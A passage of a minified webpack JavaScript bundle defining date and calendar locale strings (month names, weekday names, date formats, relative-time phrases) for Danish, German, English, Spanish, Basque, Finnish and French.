HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"på dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"få sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en måned",MM:"%d måneder",y:"et år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))}}))},6807:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=99)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},100:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}return e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))},99:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(100);var r=n(1);r.datepickerLocale("de-at","de",{closeText:"Schließen",prevText:"&#x3C;Zurück",nextText:"Vor&#x3E;",currentText:"Heute",monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],monthNamesShort:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],dayNamesShort:["So","Mo","Di","Mi","Do","Fr","Sa"],dayNamesMin:["So","Mo","Di","Mi","Do","Fr","Sa"],weekHeader:"KW",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("de-at",{buttonText:{year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},allDayText:"Ganztägig",eventLimitText:function(e){return"+ weitere "+e},noEventsMessage:"Keine Ereignisse anzuzeigen"})}}))},2204:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=101)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},101:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(102);var r=n(1);r.datepickerLocale("de-ch","de",{closeText:"Schließen",prevText:"&#x3C;Zurück",nextText:"Vor&#x3E;",currentText:"Heute",monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],monthNamesShort:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],dayNamesShort:["So","Mo","Di","Mi","Do","Fr","Sa"],dayNamesMin:["So","Mo","Di","Mi","Do","Fr","Sa"],weekHeader:"KW",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("de-ch",{buttonText:{year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},allDayText:"Ganztägig",eventLimitText:function(e){return"+ weitere "+e},noEventsMessage:"Keine Ereignisse anzuzeigen"})},102:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}return e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))}}))},2121:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=103)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},103:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(104);var r=n(1);r.datepickerLocale("de","de",{closeText:"Schließen",prevText:"&#x3C;Zurück",nextText:"Vor&#x3E;",currentText:"Heute",monthNames:["Januar","Februar","März","April","Mai","Juni","Juli","August","September","Oktober","November","Dezember"],monthNamesShort:["Jan","Feb","Mär","Apr","Mai","Jun","Jul","Aug","Sep","Okt","Nov","Dez"],dayNames:["Sonntag","Montag","Dienstag","Mittwoch","Donnerstag","Freitag","Samstag"],dayNamesShort:["So","Mo","Di","Mi","Do","Fr","Sa"],dayNamesMin:["So","Mo","Di","Mi","Do","Fr","Sa"],weekHeader:"KW",dateFormat:"dd.mm.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("de",{buttonText:{year:"Jahr",month:"Monat",week:"Woche",day:"Tag",list:"Terminübersicht"},allDayText:"Ganztägig",eventLimitText:function(e){return"+ weitere "+e},noEventsMessage:"Keine Ereignisse anzuzeigen",dayOfMonthFormat:"ddd DD.MM."})},104:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}return e.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))}}))},6872:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=111)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},111:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(112);var r=n(1);r.datepickerLocale("en-gb","en-GB",{closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"dd/mm/yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("en-gb")},112:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}))}}))},1645:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=121)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},121:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(122);var r=n(1);r.datepickerLocale("es","es",{closeText:"Cerrar",prevText:"&#x3C;Ant",nextText:"Sig&#x3E;",currentText:"Hoy",monthNames:["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"],monthNamesShort:["ene","feb","mar","abr","may","jun","jul","ago","sep","oct","nov","dic"],dayNames:["domingo","lunes","martes","miércoles","jueves","viernes","sábado"],dayNamesShort:["dom","lun","mar","mié","jue","vie","sáb"],dayNamesMin:["D","L","M","X","J","V","S"],weekHeader:"Sm",dateFormat:"dd/mm/yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("es",{buttonText:{month:"Mes",week:"Semana",day:"Día",list:"Agenda"},allDayHtml:"Todo<br/>el día",eventLimitText:"más",noEventsMessage:"No hay eventos para mostrar"})},122:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;return e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha invalida"})}))}}))},1573:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=125)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},125:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(126);var r=n(1);r.datepickerLocale("eu","eu",{closeText:"Egina",prevText:"&#x3C;Aur",nextText:"Hur&#x3E;",currentText:"Gaur",monthNames:["urtarrila","otsaila","martxoa","apirila","maiatza","ekaina","uztaila","abuztua","iraila","urria","azaroa","abendua"],monthNamesShort:["urt.","ots.","mar.","api.","mai.","eka.","uzt.","abu.","ira.","urr.","aza.","abe."],dayNames:["igandea","astelehena","asteartea","asteazkena","osteguna","ostirala","larunbata"],dayNamesShort:["ig.","al.","ar.","az.","og.","ol.","lr."],dayNamesMin:["ig","al","ar","az","og","ol","lr"],weekHeader:"As",dateFormat:"yy-mm-dd",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("eu",{buttonText:{month:"Hilabetea",week:"Astea",day:"Eguna",list:"Agenda"},allDayHtml:"Egun<br/>osoa",eventLimitText:"gehiago",noEventsMessage:"Ez dago ekitaldirik erakusteko"})},126:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}))}}))},4655:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=129)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},129:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(130);var r=n(1);r.datepickerLocale("fi","fi",{closeText:"Sulje",prevText:"&#xAB;Edellinen",nextText:"Seuraava&#xBB;",currentText:"Tänään",monthNames:["Tammikuu","Helmikuu","Maaliskuu","Huhtikuu","Toukokuu","Kesäkuu","Heinäkuu","Elokuu","Syyskuu","Lokakuu","Marraskuu","Joulukuu"],monthNamesShort:["Tammi","Helmi","Maalis","Huhti","Touko","Kesä","Heinä","Elo","Syys","Loka","Marras","Joulu"],dayNamesShort:["Su","Ma","Ti","Ke","To","Pe","La"],dayNames:["Sunnuntai","Maanantai","Tiistai","Keskiviikko","Torstai","Perjantai","Lauantai"],dayNamesMin:["Su","Ma","Ti","Ke","To","Pe","La"],weekHeader:"Vk",dateFormat:"d.m.yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("fi",{buttonText:{month:"Kuukausi",week:"Viikko",day:"Päivä",list:"Tapahtumat"},allDayText:"Koko päivä",eventLimitText:"lisää",noEventsMessage:"Ei näytettäviä tapahtumia"})},130:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){function t(e,t,r,i){var s="";switch(r){case"s":return i?"muutaman sekunnin":"muutama sekunti";case"ss":return i?"sekunnin":"sekuntia";case"m":return i?"minuutin":"minuutti";case"mm":s=i?"minuutin":"minuuttia";break;case"h":return i?"tunnin":"tunti";case"hh":s=i?"tunnin":"tuntia";break;case"d":return i?"päivän":"päivä";case"dd":s=i?"päivän":"päivää";break;case"M":return i?"kuukauden":"kuukausi";case"MM":s=i?"kuukauden":"kuukautta";break;case"y":return i?"vuoden":"vuosi";case"yy":s=i?"vuoden":"vuotta"}return n(e,i)+" "+s}function n(e,t){return e<10?t?i[e]:r[e]:e}var r="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),i=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",r[7],r[8],r[9]];return e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}))}}))},920:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=135)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},135:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(136);var r=n(1);r.datepickerLocale("fr","fr",{closeText:"Fermer",prevText:"Précédent",nextText:"Suivant",currentText:"Aujourd'hui",monthNames:["janvier","février","mars","avril","mai","juin","juillet","août","septembre","octobre","novembre","décembre"],monthNamesShort:["janv.","févr.","mars","avr.","mai","juin","juil.","août","sept.","oct.","nov.","déc."],dayNames:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],dayNamesShort:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],dayNamesMin:["D","L","M","M","J","V","S"],weekHeader:"Sem.",dateFormat:"dd/mm/yy",firstDay:1,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""}),r.locale("fr",{buttonText:{year:"Année",month:"Mois",week:"Semaine",day:"Jour",list:"Mon planning"},allDayHtml:"Toute la<br/>journée",eventLimitText:"en plus",noEventsMessage:"Aucun événement à afficher"})},136:function(e,t,n){!function(e,t){t(n(0))}(0,(function(e){return e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}))}}))},7231:function(e,t,n){var r,i;"undefined"!=typeof self&&self,e.exports=(r=n(381),i=n(2836),function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="",t(t.s=139)}({0:function(e,t){e.exports=r},1:function(e,t){e.exports=i},139:function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0}),n(140);var 